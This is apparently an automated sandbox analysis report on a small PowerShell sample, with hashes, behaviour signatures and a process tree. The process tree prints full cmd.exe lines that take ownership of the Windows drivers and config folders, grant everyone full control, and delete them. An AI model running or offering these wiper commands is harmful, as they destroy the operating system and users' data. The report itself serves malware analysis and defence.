Analysis
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max time kernel
116s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
13-08-2024 20:52
Static task
static1
Behavioral task
behavioral1
Sample
file01.ps1
Resource
win7-20240708-en
6 signatures
150 seconds
General
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Target
file01.ps1
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Size
356B
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MD5
3f55ba228a7b2931005316aa0a1c05ea
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SHA1
2795c83876b760678379f29c9a16b502bafdfc42
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SHA256
6377fc50b386cf4e90f86e49e89125e01af9ac23349ee5d5ce9c49c23ad3f308
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SHA512
765e776d02c153b0e4817196471e429cc280e0bc06df4662825abc2d3be1fff210e5cca15580e14564e160690d81fa73f2712ee1f3dc3b3242d419c6d6bd7afb
Malware Config
Signatures
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Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 2640 takeown.exe 380 icacls.exe 4968 takeown.exe 1372 icacls.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 2640 takeown.exe 380 icacls.exe 4968 takeown.exe 1372 icacls.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3000 powershell.exe 3000 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exetakeown.exedescription pid process Token: SeDebugPrivilege 3000 powershell.exe Token: SeTakeOwnershipPrivilege 2640 takeown.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
powershell.execmd.execmd.exedescription pid process target process PID 3000 wrote to memory of 3016 3000 powershell.exe cmd.exe PID 3000 wrote to memory of 3016 3000 powershell.exe cmd.exe PID 3016 wrote to memory of 2640 3016 cmd.exe takeown.exe PID 3016 wrote to memory of 2640 3016 cmd.exe takeown.exe PID 3016 wrote to memory of 380 3016 cmd.exe icacls.exe PID 3016 wrote to memory of 380 3016 cmd.exe icacls.exe PID 3000 wrote to memory of 464 3000 powershell.exe cmd.exe PID 3000 wrote to memory of 464 3000 powershell.exe cmd.exe PID 464 wrote to memory of 4968 464 cmd.exe takeown.exe PID 464 wrote to memory of 4968 464 cmd.exe takeown.exe PID 464 wrote to memory of 1372 464 cmd.exe icacls.exe PID 464 wrote to memory of 1372 464 cmd.exe icacls.exe
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul && exit"2⤵
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\drivers\*3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2640
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C:\Windows\system32\icacls.exeicacls C:\Windows\System32\drivers\* /grant everyone:(f)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:380
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"2⤵
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\config\*3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4968
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C:\Windows\system32\icacls.exeicacls C:\Windows\System32\config\* /grant everyone:(f)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1372
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82